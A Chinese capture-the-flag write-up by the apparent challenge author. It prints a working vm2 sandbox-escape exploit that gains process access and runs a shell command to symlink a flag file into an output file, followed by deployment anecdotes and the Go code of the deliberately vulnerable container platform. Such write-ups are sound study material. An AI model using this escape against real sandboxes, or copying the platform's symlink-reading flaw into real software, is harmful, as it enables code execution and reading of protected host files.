做题
某次测试网上在线运行代码的容器发现的好玩的玩意儿。
搓了一个平台,每次提交开一个新的容器,然后把容器的输出返回给用户。
容器里面是个 vm2 逃逸,非常之简单,详见poc。
但是感觉就套个这个太没意思,接下来要读容器外的 flag 文件就被拷打了。
实际上容器是把用户上传的代码写在 /tmp,然后挂载到容器里面的 /app,做题的时候可以看到 /app 下面有 output.txt 和 error.txt,这时候把 output.txt 或者 error.txt 写成软链接到 /flag 就行了。
最后可用的 exp 如下:
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => {
return console.log(
err.constructor
.constructor("return process")()
.mainModule.require("child_process")
.execSync("ln -sf /flag /app/output.txt")
.toString()
);
}
);
}
},
};
p.then();
出题
要出这个 docker in docker 实在是太麻烦了!平台上的容器肯定不能跑特权容器,里面直接起不来 docker。
本来搞了一套 docker in qemu in docker 的方案,但是 qemu 没有 kvm 实在是慢到令人发指(请求一次得 10s 才能返回)。
没办法,最后没部署到平台上,在自己不用的机子上直接裸着跑,真逃出去也不管了。
一开始 nohup 跑的没写日志,结果上线一会儿就炸了,还好有个环境一样的备用机器,赶紧切域名解析过去,最后也不知道咋崩的。
后来大半夜又崩了一次,被外国友人拷打了,还好还没睡,又切解析到备用机。
这次被搞烦了,直接写到 systemd service 里面自动重启,懒得运维了。
部署的小鸡一台是阿里云 300 代金券薅的轻量 hk(2h1g),一台是甲骨文春川薅的 arm(4h24g)。QPS 上线之前压过,都是 10 左右,也不知道是不是 OOM 崩的。
最后把平台代码附上:
package main
import (
"context"
"embed"
_ "embed"
"fmt"
"io/ioutil"
"net/http"
"os"
"os/exec"
"time"
"github.com/docker/docker/api/types/container"
"github.com/docker/docker/api/types/mount"
"github.com/docker/docker/client"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
func WriteFile(path string, data []byte) error {
err := ioutil.WriteFile(path, data, 0644)
return err
}
func ReadFile(path string) (string, error) {
data, err := ioutil.ReadFile(path)
return string(data), err
}
func RunCommand(command string) (string, error) {
cmd := exec.Command("sh", "-c", command)
out, err := cmd.Output()
return string(out), err
}
//go:embed app
var app_dir embed.FS
func TryExtractApp() {
_, err := os.Stat("app")
if err != nil {
if os.IsNotExist(err) {
fmt.Println("app dir not exists, extract app dir from embed fs")
err := os.Mkdir("app", 0755)
if err != nil {
panic(err)
}
entries, err := app_dir.ReadDir("app")
if err != nil {
panic(err)
}
for _, entry := range entries {
file_path := "app/" + entry.Name()
fmt.Println("extracting", file_path)
if entry.IsDir() {
continue
}
file, err := app_dir.ReadFile("app/" + entry.Name())
if err != nil {
continue
}
WriteFile(file_path, file)
}
} else {
panic(err)
}
} else {
fmt.Println("app dir exists")
}
}
//go:embed static/index.html
var indexHTML string
func main() {
TryExtractApp()
gin.SetMode(gin.ReleaseMode)
r := gin.Default()
r.GET("/", func(c *gin.Context) {
c.Header("Content-Type", "text/html")
c.String(http.StatusOK, indexHTML)
})
r.POST("/run", func(c *gin.Context) {
uuid := uuid.New().String()
// cp -r app to /tmp/uuid
tmpPath := "/tmp/" + uuid
RunCommand("cp -r app " + tmpPath)
defer RunCommand("rm -rf " + tmpPath)
code, err := c.GetRawData()
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
err = WriteFile(tmpPath+"/code.js", code)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
ctx := context.Background()
cl, err := client.NewClientWithOpts(client.FromEnv)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
cl.NegotiateAPIVersion(ctx)
resp, err := cl.ContainerCreate(ctx, &container.Config{
Image: "node:lts-alpine",
Cmd: []string{"/bin/sh", "-c", "node /app/dist.js > /app/output.txt 2> /app/error.txt"},
NetworkDisabled: true,
},
&container.HostConfig{
AutoRemove: true,
Mounts: []mount.Mount{
{
Type: mount.TypeBind,
Source: tmpPath,
Target: "/app",
ReadOnly: false,
},
},
Resources: container.Resources{
Memory: 1024 * 1024 * 64,
CPUPeriod: 100000,
CPUQuota: 25000,
},
}, nil, nil, uuid)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
err = cl.ContainerStart(ctx, uuid, container.StartOptions{})
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
statusCh, errCh := cl.ContainerWait(ctx, resp.ID, container.WaitConditionNotRunning)
select {
case err := <-errCh:
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
case <-statusCh:
case <-time.After(10 * time.Second):
cl.ContainerKill(ctx, uuid, "KILL")
}
output_content, _ := ReadFile("/tmp/" + uuid + "/output.txt")
error_content, _ := ReadFile("/tmp/" + uuid + "/error.txt")
c.JSON(http.StatusOK, gin.H{"output": output_content, "error": error_content})
})
r.Run(":8080")
}